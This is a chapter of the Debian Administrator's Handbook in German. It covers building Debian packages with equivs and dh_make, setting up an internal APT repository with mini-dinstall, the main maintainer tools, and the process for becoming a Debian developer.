Das Programm pbuilder (im Paket ähnlichen Namens) ermöglicht es, ein Debian-Paket in einer chrooted-Umgebung zu erstellen. Es erstellt zunächst ein temporäres Verzeichnis, das ein minimales System zur Erstellung des Pakets enthält (einschließlich der Pakete, die im Build-Depends-Feld aufgeführt sind). Das Verzeichnis wird dann während des Erstellungsprozesses mit dem Befehl chroot als Wurzelverzeichnis (/) verwendet.

Dieses Programm ermöglicht es, dass der Erstellungsprozess in einer Umgebung stattfindet, die durch Eingriffe der Benutzer nicht verändert ist. So können fehlende Abhängigkeiten leicht entdeckt werden (da die Erstellung scheitern wird, falls die dazugehörigen Abhängigkeiten nicht dokumentiert sind). Außerdem ermöglicht es die Erstellung eines Pakets für eine Debian-Version, die nicht der vom System insgesamt benutzten entspricht: der Rechner kann Stable für seine normale Arbeit benutzen, und ein pbuilder, das auf demselben Rechner läuft, kann Unstable für die Paketerstellung verwenden.

15.2. Ihr erstes Paket erstellen

15.2.1. Meta-Pakete oder vorgetäuschte Pakete

Vorgetäuschte Pakete und Meta-Pakete sind insofern ähnlich, als sie leere Hüllen sind, die nur um des Effektes willen existieren, den ihre Meta-Daten auf den Paketverarbeitungsstapel haben.

Der Zweck eines vorgetäuschten Pakets ist es, dpkg und apt glauben zu machen, dass ein bestimmtes Paket installiert ist, obwohl es nur aus einer leeren Hülle besteht. So können Abhängigkeiten von einem Paket erfüllt werden, wenn das dazugehörige Programm außerhalb des Geltungsbereichs des Paketsystems installiert wurde. Obwohl diese Methode funktioniert, sollte sie möglichst vermieden werden, da sie keine Garantie bietet, dass sich das manuell installierte Programm genauso verhält wie das entsprechende Paket, und andere Pakete, die von ihm abhängen, würden nicht ordnungsgemäß funktionieren.

Ein Meta-Paket besteht dagegen vor allem aus einer Ansammlung von Abhängigkeiten, so dass das Installieren eines Meta-Pakets im Endeffekt in einem Schritt eine Reihe weiterer Pakete mit sich bringt.

Diese beiden Paketarten können mit den Befehlen equivs-control und equivs-build erstellt werden (in dem Paket equivs). Der Befehl equivs-control datei erstellt eine Debian-Header-Datei, die so editiert werden sollte, dass sie den Namen des erwarteten Pakets, seine Versionsnummer, den Namen des Betreuers, seine Abhängigkeiten und eine Beschreibung enthält. Andere Zeilen ohne einen vorgegebenen Wert sind optional und können gelöscht werden. Die Zeilen Copyright, Changelog, Readme und Extra-Files sind in Debian-Paketen keine Standardzeilen; sie machen nur bei equivs-build Sinn und bleiben nicht in den Kopfzeilen des erstellten Pakets erhalten.

Example 15.2. Header-Datei des vorgetäuschten Pakets libxml-libxml-perl

Section: perl Priority: optional Standards-Version: 3.8.4 Package: libxml-libxml-perl Version: 1.57-1 Maintainer: Raphael Hertzog <hertzog@debian.org> Depends: libxml2 (>= 2.6.6) Architecture: all Description: Fake package - module manually installed in site_perl This is a fake package to let the packaging system believe that this Debian package is installed. . In fact, the package is not installed since a newer version of the module has been manually compiled & installed in the site_perl directory.

Der nächste Schritt besteht darin, das Debian-Paket mit dem Befehl equivs-build datei zu erstellen. Voilà: das Paket wurde im aktuellen Verzeichnis erstellt und kann wie jedes andere Debian-Paket behandelt werden.

15.2.2. Einfaches Dateiarchiv

Die Falcot-Corp.-Administratoren müssen ein Debian-Paket erstellen, um die Bereitstellung einer Reihe von Dokumenten auf einer großen Anzahl von Rechnern zu erleichtern. Der für diese Aufgabe zuständige Administrator liest zunächst den „Leitfaden für neue Debian-Betreuer“ und beginnt dann, an seinem ersten Paket zu arbeiten.

→ http://www.debian.org/doc/maint-guide/

Der erste Schritt besteht darin, ein Verzeichnis namens falcot-data-1.0 zu erstellen, um das Ziel-Quellpaket aufzunehmen. Das Paket wird logischerweise falcot-data heißen und die Versionsnummer 1.0 tragen. Der Administrator legt die Dokumentdateien dann in einem Unterverzeichnis namens data ab. Anschließend ruft er den Befehl dh_make auf (aus dem Paket dh-make), um Dateien hinzuzufügen, die für den Paketerstellungsprozess benötigt werden, und die alle in einem Unterverzeichnis namens debian abgespeichert werden:

$ cd falcot-data-1.0 $ dh_make --native Type of package: single binary, indep binary, multiple binary, library, kernel module, kernel patch or cdbs? [s/i/m/l/k/n/b] i Maintainer name : Raphael Hertzog Email-Address : hertzog@debian.org Date : Mon, 11 Apr 2011 15:11:36 +0200 Package Name : falcot-data Version : 1.0 License : blank Usind dpatch : no Type of Package : Independent Hit <enter> to confirm: Currently there is no top level Makefile. This may require additional tuning. Done. Please edit the files in the debian/ subdirectory now. You should also check that the falcot-data Makefiles install into $DESTDIR and not in / . $

Der ausgewählte Paket-Typ (single binary) zeigt an, dass dieses Quellpaket ein einzelnes Binärpaket in Abhängigkeit von der Architektur (Architecture: any) erzeugen wird. indep binary fungiert als Pendant und führt zu einem einzelnen Binärpaket, das von der Zielarchitektur unabhängig ist (Architecture: all). In diesem Fall ist der zweite Punkt relevanter, da das Paket nur Dokumente und keine binären Programme enthält, so dass es in ähnlicher Weise auf Rechnern aller Architekturen verwendet werden kann.

Der Typ multiple binary bezieht sich auf ein Quellpaket, das zu mehreren Binärpaketen führen wird. library ist ein Sonderfall und für dynamische Bibliotheken nützlich, da diese strengen Erstellungsregeln folgen müssen. In ähnlicher Weise sollte kernel module auf Pakete beschränkt bleiben, die Kernel-Module enthalten. cdbs ist schließlich ein besonderes Paketerstellungssystem; es ist recht flexibel, erfordert jedoch einigen Lernaufwand.

TIPP Name und E-Mail-Adresse des Betreuers

Die meisten der an der Paketbetreuung beteiligten Programme werden in den Umgebungsvariablen DEBFULLNAME und DEBEMAIL oder EMAIL nach Ihrem Namen und Ihrer E-Mail-Adresse Ausschau halten. Sie können es vermeiden, sie viele Male einzugeben, indem Sie sie ein für alle Mal festlegen. Falls Ihre übliche Konsole bash ist, genügt es, die folgenden zwei Zeilen zu den Dateien ~/.bashrc und ~/.bash_profile hinzuzufügen (Sie werden selbstverständlich die angegebenen Werte durch die zutreffenden ersetzen!):

export EMAIL="hertzog@debian.org" export DEBFULLNAME="Raphael Hertzog"

Der Befehl dh_make erzeugt ein Unterverzeichnis namens debian mit zahlreichen Dateien. Einige von ihnen sind zwingend notwendig, insbesondere rules, control, changelog und copyright. Dateien mit der Erweiterung .ex sind Beispieldateien, die verwendet werden können, indem man sie bei Bedarf abändert (und die Erweiterung entfernt). Wenn sie nicht benötigt werden, ist es empfehlenswert, sie zu entfernen. Die Datei compat sollte erhalten bleiben, da sie für das ordnungsgemäße Funktionieren der Programmgarnitur debhelper (alle Dateien, die mit dem Präfix dh_ beginnen) erforderlich ist, die in verschiedenen Stadien des Paketerstellungsprozesses verwendet wird.

Die Datei copyright muss Informationen zu den Verfassern der in dem Paket aufgenommenen Dokumente und zu der zugehörigen Lizenz enthalten. In unserem Fall handelt es sich um interne Dokumente, und ihr Gebrauch beschränkt sich auf das Unternehmen Falcot Corp. Die standardmäßige changelog-Datei passt weitgehend. Es genügt, das „Initial release“ durch eine ausführlichere Erläuterung zu ersetzen und die Distribution von unstable nach internal zu ändern. Die Datei control file wurde ebenfalls aktualisiert: der Abschnitt wurde in misc umbenannt und die Felder Homepage, Vcs-Git und Vcs-Browser wurden entfernt. Das Feld Depends wurde um iceweasel | www-browser ergänzt, um die Verfügbarkeit eines Web-Browsers, der die in dem Paket enthaltenen Dokumente darstellen kann, sicherzustellen.

Example 15.3. The Datei control

Source: falcot-data Section: misc Priority: optional Maintainer: Raphael Hertzog <hertzog@debian.org> Build-Depends: debhelper (>= 7.0.50~) Standards-Version: 3.8.4 Package: falcot-data Architecture: all Depends: iceweasel | www-browser, ${misc:Depends} Description: Internal Falcot Corp Documentation This package provides several documents describing the internal structure at Falcot Corp. This includes: - organization diagram - contacts for each department. . These documents MUST NOT leave the company. Their use is INTERNAL ONLY.

Example 15.4. Die Datei changelog

falcot-data (1.0) internal; urgency=low * Initial Release. * Let's start with few documents: - internal company structure; - contacts for each department. -- Raphael Hertzog <hertzog@debian.org> Mon, 11 Apr 2011 20:46:33 +0200

Example 15.5. Die Datei copyright

This work was packaged for Debian by Raphael Hertzog <hertzog@debian.org> on Mon, 11 Apr 2011 20:46:33 +0200 Copyright: Copyright (C) 2004-2011 Falcot Corp License: All rights reserved.

ZURÜCK ZU DEN GRUNDLAGEN Die Datei Makefile

Eine Makefile-Datei ist ein Skript, das vom Programm make benutzt wird; es beschreibt Regeln, wie ein Satz von Dateien aufeinander aufbauend in einem Abhängigkeitsbaum zu erstellen ist (zum Beispiel kann ein Programm aus einem Satz von Quelldateien erstellt werden). Die Datei Makefile beschreibt diese Regeln in folgendem Format:

target: sources command1 command2

Eine derartige Regel ist folgendermaßen zu interpretieren: Falls eine der Dateien in sources jünger ist als die Datei target, dann muss das Ziel unter Verwendung von command1 und command2 erstellt werden.

Man beachte, dass die Befehlszeilen mit einem Tabulatorzeichen beginnen müssen; und beachten Sie auch, dass, wenn eine Zeile mit einem Gedankenstrich beginnt (-), ein Scheitern dieses Befehls den gesamten Prozess nicht unterbricht.

Die Datei rules enthält normalerweise einen Satz von Regeln, die verwendet werden, um das Programm zu konfigurieren, zu erstellen und in ein speziell dafür vorgesehenes Unterverzeichnis (das nach dem erstellten Binärpaket benannt ist) zu installieren. Der Inhalt dieses Unterverzeichnisses wird dann innerhalb des Debian-Pakets archiviert, als wäre es das Wurzelverzeichnis des Dateisystems. In unserem Fall werden die Dateien in dem Unterverzeichnis debian/falcot-data/usr/share/falcot-data/ installiert, so dass die Dateien beim Installieren des erstellten Pakets unter /usr/share/falcot-data/ eingerichtet werden. Die Datei rules wird als Makefile mit einigen Standardzielen benutzt (einschließlich clean und binary, die verwendet werden, um das Quellverzeichnis aufzuräumen beziehungsweise das Binärpaket zu erstellen).

Obwohl diese Datei im Zentrum des Prozesses steht, enthält sie in zunehmendem Maße nur das absolute Minimum zur Ausführung eines Standardbefehlssatzes, der vom Hilfsprogramm debhelper bereitgestellt wird. Dies ist für durch dh_make erzeugte Dateien der Fall. Um unsere Dateien zu installieren, konfigurieren wir einfach das Verhalten des Befehls dh_install, indem wir die folgende debian/falcot-data.install-Datei erstellen:

data/* usr/share/falcot-data/

Jetzt kann das Paket erstellt werden. Wir werden jedoch eine Spur Farbe hinzufügen. Da die Administratoren möchten, dass über die Hilfemenüs der grafischen Arbeitsumgebung leicht auf die Dokumente zugegriffen werden kann, erstellen wir einen Eintrag im Debian-Menüsystem. Dies geschieht einfach dadurch, dass wir die Datei debian/menu.ex umbenennen, indem wir ihre Erweiterung entfernen, und sie dann wie folgt editieren:

Example 15.6. Die Datei menu

?package(falcot-data):needs=X11|wm section=Help\ title="Internal Falcot Corp Documentation" \ command="/usr/bin/x-www-browser /usr/share/falcot-data/index.html" ?package(falcot-data):needs=text section=Help\ title="Internal Falcot Corp Documentation" \ command="/usr/bin/www-browser /usr/share/falcot-data/index.html"

Wenn das Feld needs auf X11|wm eingestellt ist, bedeutet dies, dass dieser Eintrag nur in einer grafischen Schnittstelle sinnvoll ist. Er wird daher nur in die Menüs der grafischen (X11-)Anwendungen und Fenstermanager (daher das wm) integriert werden. Das Feld section gibt an, an welcher Stelle des Menüs der Eintrag angezeigt werden soll. In unserem Fall wird der Eintrag sich im Hilfemenü befinden. Das Feld title enthält den Text, der im Menü angezeigt wird. Schließlich bezeichnet das Feld command den Befehl, der auszuführen ist, wenn der Benutzer den Menüeintrag auswählt.

Der zweite Eintrag entspricht dem ersten mit leichten Abwandlungen, die für den Textmodus der Linux-Konsole geeignet sind.

DEBIAN-RICHTLINIEN Menüorganisation

Die Debianmenüs sind in einer formalen Struktur organisiert, die in folgendem Text dokumentiert ist:

→ http://www.debian.org/doc/packaging-manuals/menu-policy/

Der Abschnitt section in einer menu-Datei sollte aus der in diesem Dokument aufgeführten Liste ausgewählt werden.

Um das Menü im Paket zu aktivieren, genügt es, einfach die Datei debian/menu zu erstellen, da der Befehl dh_installmenu während des Paketerstellungsprozesses von dh automatisch aufgerufen wird.

Unser Quellpaket ist nun fertig. Wir müssen nur noch mit derselben Methode, die wir zuvor für die Wiederherstellung von Paketen benutzt haben, das Binärpaket erzeugen: wir führen im Verzeichnis falcot-data-1.0 den Befehl dpkg-buildpackage -us -uc aus.

15.3. Ein Paket-Depot für APT erstellen

Falcot Corp. hat sukzessive damit begonnen, eine Anzahl von Debian-Paketen zu betreuen, die entweder aus bestehenden Paketen lokal geändert oder von Grund auf neu erstellt wurden, um interne Daten und Programme zu verteilen.

Um ihren Einsatz zu erleichtern, möchten sie diese Pakete in ein Paketarchiv integrieren, das direkt von APT benutzt werden kann. Aus offensichtlichen verwaltungstechnischen Gründen möchten sie dabei interne Pakete von lokal neu erstellten Paketen trennen. Am Ende sollen die entsprechenden Einträge in der Datei /etc/apt/sources.list wie folgt aussehen:

deb http://packages.falcot.com/ updates/ deb http://packages.falcot.com/ internal/

Die Administratoren konfigurieren daher auf ihrem internen HTTP-Server einen virtuellen Host, bei dem /srv/vhosts/packages/ das Wurzelverzeichnis des dazugehörigen Speicherplatzes ist. Die Verwaltung des Archivs wird dem Befehl mini-dinstall (im ähnlich genannten Paket) übertragen. Dieses Hilfsprogramm behält ein Verzeichnis namens incoming/ im Auge (in unserem Fall /srv/vhosts/packages/mini-dinstall/incoming/) und wartet dort auf neue Pakete; wenn ein neues Paket hochgeladen wird, wird es unter /srv/vhosts/packages/ in ein Debian-Archiv installiert. Der Befehl mini-dinstall liest die Datei *.changes, die erstellt wird, wenn das Debian-Paket erzeugt wird. Diese Dateien enthalten eine Liste aller übrigen Dateien, die dieser Version des Pakets zugeordnet sind (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz oder ihre Entsprechungen bei anderen Komprimierungsprogrammen), und sie lassen mini-dinstall wissen, welche Dateien installiert werden sollen. Die Dateien des Typs *.changes enthalten im jüngsten debian/changelog-Eintrag auch den Namen der Zieldistribution (häufig unstable), und mini-dinstall verwendet diese Information, um zu entscheiden, wo das Paket installiert werden soll. Deshalb müssen Administratoren dieses Feld immer ändern, bevor sie ein Paket erstellen und es in Abhängigkeit vom Zielort auf internal oder updates einstellen. mini-dinstall erzeugt dann die von APT benötigten Dateien, wie zum Beispiel Packages.gz.

ALTERNATIVE apt-ftparchive

Falls Ihnen mini-dinstall für Ihre Ansprüche an ein Debian-Archiv als zu kompliziert erscheint, können sie stattdessen auch den Befehl apt-ftparchive verwenden. Dieses Hilfsprogramm durchsucht den Inhalt eines Verzeichnisses und zeigt (in seiner Standardausgabe) eine entsprechende Packages-Datei an. Im Falle von Falcot Corp. könnten die Administratoren die Pakete direkt nach /srv/vhosts/packages/updates/ oder /srv/vhosts/packages/internal/ hochladen und dann die folgenden Befehle ausführen, um die Packages.gz-Dateien zu erstellen:

$ cd /srv/vhosts/packages $ apt-ftparchive packages updates >updates/Packages $ gzip updates/Packages $ apt-ftparchive packages internal >internal/Packages $ gzip internal/Packages

Der Befehl apt-ftparchive sources ermöglicht es, in ähnlicher Weise Sources.gz-Dateien zu erstellen.

Zur Konfigurierung von mini-dinstall muss eine Datei namens ~/.mini-dinstall.conf eingerichtet werden; im Falle von Falcot Corp. sieht ihr Inhalt folgendermaßen aus:

[DEFAULT] archive_style = flat archivedir = /srv/vhosts/packages verify_sigs = 0 mail_to = admin@falcot.com generate_release = 1 release_origin = Falcot Corp release_codename = stable [updates] release_label = Recompiled Debian Packages [internal] release_label = Internal Packages

Eine beachtenswerte Entscheidung betrifft die Erzeugung der Release-Dateien für jedes Archiv. Dies ist für die Verwaltung der Prioritäten bei der Paketinstallation unter Verwendung der Konfigurationsdatei /etc/apt/preferences hilfreich (zu Einzelheiten siehe das Kapitel über die APT-Konfigurierung).

SICHERHEIT mini-dinstall und Berechtigungen

Da mini-dinstall so konzipiert ist, dass es als normaler Benutzer läuft, besteht keine Notwendigkeit, es als Root auszuführen. Am einfachsten ist es, alles im Benutzerkonto des Administrators zu konfigurieren, der für die Erstellung der Debian-Pakete zuständig ist. Da nur dieser Administrator die erforderlichen Berechtigungen zur Speicherung von Dateien im Verzeichnis incoming/ hat, können wir daraus schließen, dass der Administrator den Ursprung jedes Pakets vor seiner Verwendung autorisiert hat, und dass mini-dinstall dies daher nicht noch einmal tun muss. Hieraus erklärt sich der Parameter verify_sigs = 0 (der bedeutet, dass Signaturen nicht verifiziert zu werden brauchen). Jedoch können wir bei sensiblen Paketinhalten die Einstellung ändern und bestimmen, dass mit einem Schlüsselring authentifiziert wird, der die öffentlichen Schlüssel der Personen enthält, die Pakete erstellen dürfen (konfiguriert mit dem Parameter extra_keyrings); mini-dinstall überprüft dann den Ursprung jedes ankommenden Pakets, indem es die in den *.changes-Dateien integrierte Signatur analysiert.

Der Aufruf des Befehls mini-dinstall startet genau genommen den Daemon im Hintergrund. Solange dieser Daemon läuft, wird er jede halbe Stunde im Verzeichnis incoming/ nach neuen Paketen sehen; wenn ein neues Paket eintrifft, wird es ins Archiv verschoben, und die entsprechenden Dateien Packages.gz und Sources.gz werden erneuert. Falls es problematisch sein sollte, einen Daemon auszuführen, kann mini-dinstall auch jedes Mal, wenn ein Paket in das Verzeichnis incoming/ hochgeladen wird, manuell im Stapelverarbeitungsmodus (mit der Option -b) aufgerufen werden. Weitere von mini-dinstall angebotene Möglichkeiten sind auf seiner Handbuchseite mini-dinstall(1) dokumentiert.

EXTRA Ein signiertes Archiv erzeugen

APT überprüft bei den Paketen, die es handhabt, vor ihrer Installation eine Reihe kryptographischer Signaturen (und hat dies seit Etch getan), um ihre Authentizität zu gewährleisten (siehe Section 6.5, “Die Echtheit eines Paketes prüfen”). Private APT-Archive können daher ein Problem darstellen, da die Rechner, die sie verwenden, fortlaufend Warnungen vor nicht signierten Paketen anzeigen. Ein sorgfältiger Administrator wird daher private Archive mit dem sicheren APT-Mechanismus integrieren.

Um diesen Vorgang zu erleichtern, enthält mini-dinstall die Konfigurationsoption release_signscript, mit der es möglich ist, ein Skript zur Erzeugung der Signatur zu spezifizieren. Ein guter Ausgangspunkt ist das Skript sign-release.sh, das vom Paket mini-dinstall im Verzeichnis /usr/share/doc/mini-dinstall/examples/ bereitgestellt wird; lokale Änderungen könnten angebracht sein.

15.4. Paketbetreuer werden

15.4.1. Lernen Pakete zu erstellen

Das Erstellen eines qualitativ hochwertigen Debian-Pakets ist nicht immer einfach, und um Paketbetreuer zu werden, muss man sowohl in der Theorie als auch in der Praxis einiges lernen. Es geht nicht nur darum, Software zu erstellen und zu installieren; vielmehr entsteht der Großteil der Komplexität aus dem Verständnis für die Probleme und Konflikte, und im Weiteren für die Wechselwirkungen mit der Unzahl der anderen verfügbaren Pakete.

15.4.1.1. Regeln

Ein Debian-Paket muss den genauen Regeln des Debian-Regelwerks entsprechen, und jeder Paketbetreuer muss sie kennen. Es ist nicht erforderlich, sie auswendig zu kennen, vielmehr muss man wissen, dass sie existieren, und jedes Mal in ihnen nachsehen, wenn eine Entscheidung mehr als eine banale Alternative darstellt. Jeder Debian-Betreuer hat Fehler gemacht, weil er eine Regel nicht kannte, jedoch ist dies kein ernstes Problem, solange der Fehler behoben wird, wenn ein Benutzer einen Fehlerbericht verfasst, was dank der erfahrenen Benutzer normalerweise recht bald geschieht.

→ http://www.debian.org/doc/debian-policy/

15.4.1.2. Verfahren

Debian ist keine einfache Ansammlung individueller Pakete. Jedermanns Paketerstellungsarbeit ist Teil eines gemeinschaftlichen Projekts; als Debian-Entwickler muss man auch wissen, wie das Debian-Projekt als Ganzes funktioniert. Jeder Entwickler wird früher oder später mit anderen zusammenwirken. Die Debian Entwickler-Referenz (im Paket developers-reference) fasst zusammen, was jeder Entwickler wissen muss, um möglichst reibungslos mit den verschiedenen Teams innerhalb des Projekts zusammenzuarbeiten, und um die größtmöglichen Vorteile aus den verfügbaren Ressourcen zu ziehen. Dieses Dokument zählt auch eine Anzahl von Pflichten auf, deren Erfüllung von einem Entwickler erwartet wird.

→ http://www.debian.org/doc/developers-reference/

15.4.1.3. Hilfsprogramme

Zahlreiche Hilfsprogramme unterstützen Paketbetreuer bei ihrer Arbeit. Dieser Abschnitt beschreibt sie kurz, aber stellt nicht alle Einzelheiten dar, da jedes von ihnen eine eigene umfassende Dokumentation besitzt.

15.4.1.3.1. Das Programm lintian

Dieses Hilfsprogramm ist eines der wichtigsten: es ist der Debian-Paketüberprüfer. Es beruht auf einer langen Reihe von Tests, die aus dem Debian-Regelwerk erstellt worden sind, und entdeckt schnell und automatisch viele Fehler, die vor der Veröffentlichung eines Pakets behoben werden können.

Dieses Programm ist nur ein Gehilfe und versteht manchmal etwas falsch (zum Beispiel ist lintian manchmal nicht aktuell, da sich das Debian-Regelwerk im Laufe der Zeit verändert). Es ist auch nicht vollständig flächendeckend: keine Lintian-Fehlermeldung zu erhalten, sollte nicht als Nachweis verstanden werden, dass das Paket perfekt ist; bestenfalls verhindert es die häufigsten Fehler.

15.4.1.3.2. devscripts

Das Paket devscripts enthält zahlreiche Programme, die einem Debian-Entwickler bei einem weiten Spektrum seiner Arbeit helfen:

debuild ermöglicht es, ein Paket zu erzeugen (mit dpkg-buildpackage) und dann lintian auszuführen, um seine Übereinstimmung mit dem Debian-Regelwerk zu überprüfen.

debclean bereinigt ein Quellpaket, nachdem ein Binärpaket erzeugt worden ist.

dch ermöglicht das schnelle und einfache Editieren einer debian/changelog-Datei in einem Quellpaket.

uscan überprüft, ob eine neue Version eines Programms vom ursprünglichen Verfasser veröffentlicht worden ist; dies erfordert eine debian/watch-Datei mit einer Beschreibung des Ortes derartiger Veröffentlichungen.

debi ermöglicht es, das gerade erzeugte Debian-Paket (mit dpkg -i) zu installieren, ohne dabei seinen vollständigen Namen und Pfad eingeben zu müssen.

In ähnlicher Weise ermöglicht es debc, den Inhalt eines vor kurzem erzeugten Pakets (mit dpkg -c) abzufragen, ohne seinen vollständigen Namen und Pfad eingeben zu müssen.

bts überwacht das Fehlerverfolgungssystem von der Befehlszeile aus; dieses Programm erzeugt automatisch die passenden E-Mails.

debrelease lädt ein kürzlich erzeugtes Paket auf einen entfernten Server hoch, ohne den vollständigen Namen und Pfad der dazugehörigen .changes-Datei eingeben zu müssen.

debsign signiert die *.dsc- und *.changes-Dateien.

uupdate automatisiert die Erstellung einer überarbeiteten Paketversion, wenn eine neue Ursprungsversion veröffentlicht worden ist.

15.4.1.3.3. debhelper und dh-make

Debhelper ist ein Satz von Skripten, die die Erstellung regelkonformer Pakete erleichtern; diese Skripte werden von debian/rules aufgerufen. Debhelper wird in Debian in großem Umfang angewendet, wie aus der Tatsache ersichtlich ist, dass es von der Mehrheit der offiziellen Debian-Pakete benutzt wird. Alle in ihm enthaltenen Befehle führen das Präfix dh_. Debhelper wird vor allem von Joey Hess entwickelt.

Das Skript dh_make (im Paket dh-make) erstellt in einem Verzeichnis, das zu Anfang die Quellen einer Software enthält, Dateien, die für die Erzeugung eines Debian-Pakets erforderlich sind. Wie aufgrund des Programmnamens vermutet werden kann, verwenden die erzeugten Dateien standardmäßig Debhelper.

ALTERNATIVE CDBS

cdbs verfolgt einen anderen Ansatz zur Debian-Paketerstellung, der ausschließlich auf einem Vererbungssystem über Makefile-Dateien basiert.

Dieses Programm hat seine Befürworter, da es die Vervielfältigung der gleichen Liste von dh_*-Befehlen in der debian/rules-Datei vermeidet. Jedoch hat Debhelper Version 7 den Befehl dh eingeführt, der von sich aus die passende Abfolge von Aufrufen aller einzelnen Befehle in der richtigen Reihenfolge automatisiert, so dass CDBS seitdem den Großteil seines Anreizes verloren hat.

15.4.1.3.4. dupload und dput

Die Befehle dupload und dput ermöglichen es, ein Debian-Paket auf einen (möglicherweise entfernten) Server hochzuladen. Auf diese Weise können Entwickler ihr Paket auf dem Debian-Hauptserver (ftp-master.debian.org) veröffentlichen, so dass es in das Archiv integriert und über die Spiegelserver verteilt werden kann. Diese Befehle nehmen eine *.changes-Datei als Parameter und leiten die übrigen relevanten Dateien aus ihrem Inhalt ab.

15.4.2. Annahmeverfahren

Ein Debian-Entwickler zu werden, ist nicht einfach eine administrative Angelegenheit. Das Verfahren besteht aus mehreren Schritten, und es ist ebenso sehr eine Initiation wie auch ein Auswahlprozess. In jedem Fall ist es formalisiert und gut dokumentiert, so dass jeder seinen Verlauf auf der Webseite verfolgen kann, die speziell für das Annahmeverfahren für neue Entwickler vorgesehen ist.

→ http://nm.debian.org/

EXTRA Leichtgewichtiges Verfahren für „Debian-Betreuer“

Vor kurzem wurde ein „Debian-Betreuer“-Status eingeführt. Der damit verbundene Prozess ist schneller, und die mit diesem Status zugestandenen Rechte reichen nur dazu aus, die eigenen Pakete zu betreuen. Ein Debian-Entwickler muss nur zu Anfang ein Upload überprüfen und eine Erklärung dahingehend abgeben, dass er dem angehenden Betreuer zutraut, das Paket eigenständig zu betreuen.

15.4.2.1. Voraussetzungen

Von allen Kandidaten wird erwartet, dass sie wenigstens ausreichende Englischkenntnisse haben. Dies ist auf allen Ebenen erforderlich: natürlich für die anfängliche Kommunikation mit dem Prüfer, aber auch später, da Englisch für den Großteil der Dokumentation die bevorzugte Sprache ist; auch Paketbenutzer werden in Englisch kommunizieren, wenn sie Fehler melden, und werden Antworten in Englisch erwarten.

Die andere Voraussetzung bezieht sich auf die Motivation. Ein Debian-Entwickler zu werden, ist ein Prozess, der nur dann Sinn macht, wenn der Kandidat weiß, dass sein Interesse an Debian viele Monate lang anhalten wird. Der Aufnahmeprozess selbst kann mehrere Monate dauern, und Debian benötigt Entwickler langfristig; jedes Paket benötigt dauerhafte Betreuung und nicht nur einen anfänglichen Upload.

15.4.2.2. Registrierung

Er erste (wirkliche) Schritt besteht darin, einen Sponsor oder Befürworter zu finden; hierunter ist ein offizieller Entwickler zu verstehen, der bereit ist zu bestätigen, dass er davon überzeugt ist, dass die Aufnahme von X für Debian von Vorteil sein würde. Dies setzt normalerweise voraus, dass der Kandidat bereits innerhalb der Gemeinschaft aktiv gewesen und seine Arbeit anerkannt ist. Falls der Kandidat schüchtern ist und seine Arbeit nicht öffentlich angepriesen hat, kann er versuchen, einen Debian-Entwickler zu seiner Unterstützung zu bewegen, indem er ihm seine Arbeit privat zeigt.

Zur gleichen Zeit muss der Kandidat mit GnuPG ein öffentliches/privates RSA-Schlüsselpaar erzeugen, das von wenigstens einem offiziellen Debian-Entwickler signiert werden sollte. Die Signatur authentifiziert den im Schlüssel enthaltenen Namen. Während einer Keysigning-Party muss jeder Teilnehmer seinen Personalausweis zusammen mit seiner Schlüsselkennung vorweisen. Dieser Schritt stellt die offizielle Verbindung zwischen der Person und den Schlüsseln her. Daher erfordert diese Signatur, dass man sich persönlich trifft. Falls Sie noch keine Debian-Entwickler bei einer öffentlichen Konferenz über freie Software getroffen haben, können Sie explizit in der Nähe wohnende Entwickler suchen, indem Sie als Ausgangspunkt die auf der folgenden Webseite stehende Liste benutzen.

→ http://wiki.debian.org/Keysigning

Nachdem die Registrierung auf nm.debian.org von einem Unterstützer bestätigt wurde, wird dem Kandidaten ein Antragsmanager zugewiesen. Dieser Antragsmanager wird fortan das Verfahren weiterverfolgen und die verschiedenen Schritte, die dieser Prozess umfasst, bestätigen.

Die erste Überprüfung ist eine Personenkontrolle. Falls Sie bereits einen von zwei Debian-Entwicklern signierten Schlüssel besitzen, ist dieser Schritt einfach; anderenfalls wird der Antragsmanager versuchen, Ihnen bei Ihrer Suche nach in der Nähe lebenden Debian-Entwicklern zu helfen, indem er ein Treffen und eine Schlüsselsignierung organisiert. Ganz am Anfang dieses Prozesses, als die Anzahl der Entwickler noch gering war, gab es für diesen Vorgang eine Ausnahme, die es erlaubte, diesen Schritt mit Hilfe eines digitalen Scans offizieller Identifikationsdokumente durchzuführen; dies ist jedoch nicht mehr der Fall.

15.4.2.3. Die Prinzipien akzeptieren

Diesen administrativen Formalitäten folgen philosophische Erwägungen. Es geht darum sicherzustellen, dass der Kandidat den Gesellschaftsvertrag und die Prinzipien Freier Software versteht und akzeptiert. Es ist nur möglich, Debian beizutreten, wenn man die Werte teilt, die die derzeitigen Entwickler eint, wie sie in den Gründungstexten bekundet sind (und zusammengefasst in Chapter 1, Das Debian-Projekt).

Darüber hinaus wird von jedem Kandidaten, der Debian beitreten möchte, erwartet, dass er die Funktionsweise des Projekts kennt, und wie man angemessen zusammenwirkt, um Probleme zu lösen, denen er im Laufe der Zeit zweifelsohne begegnen wird. Alle diese Informationen sind im Allgemeinen in den Handbüchern dokumentiert, die für die neuen Betreuer bestimmt sind, sowie in der Debian Entwickler-Referenz. Das aufmerksame Lesen dieser Dokumente sollte genügen, um die Fragen des Prüfers beantworten zu können. Falls die Antworten nicht befriedigen, wird der Kandidat darüber informiert. Er wird dann die entsprechende Dokumentation (nochmals) lesen müssen, bevor er es erneut versucht. In den Fällen, in denen die vorhandene Dokumentation die passenden Antworten auf die Frage nicht enthält, kann der Kandidat normalerweise mit einiger praktischer Erfahrung in Debian die Antwort finden, oder vielleicht auch, indem er mit anderen Debian-Entwicklern spricht. Dieses Verfahren stellt sicher, dass Kandidaten in gewissem Umfang in Debian involviert werden, bevor sie ein vollständiger Teil von ihm werden. Es ist ein ausdrücklicher Grundsatz, dass Kandidaten, die schließlich dem Projekt beitreten, als ein weiteres Teil eines unendlich erweiterbaren Puzzles integriert werden.

Dieser Schritt wird im Jargon der am Betreuungsprozess beteiligten Entwickler gewöhnlich Philosophie & Prozeduren genannt (oder kurz P&P).

15.4.2.4. Fähigkeiten überprüfen

Jeder Antrag, ein offizieller Debian-Entwickler zu werden, muss begründet werden. Um Projektmitglied zu werden, muss man zeigen, dass dieser Status gerechtfertigt ist, und dass er dem Kandidaten seine Unterstützung für Debian erleichtert. Die häufigste Begründung besteht darin, dass der Status als Debian-Entwickler die Betreuung eines Debian-Pakets erleichtert, aber dies ist nicht die einzige. Einige Entwickler treten dem Projekt bei, um zur Übertragung auf eine bestimmte Architektur beizutragen, andere möchten die Dokumentation verbessern und so weiter.

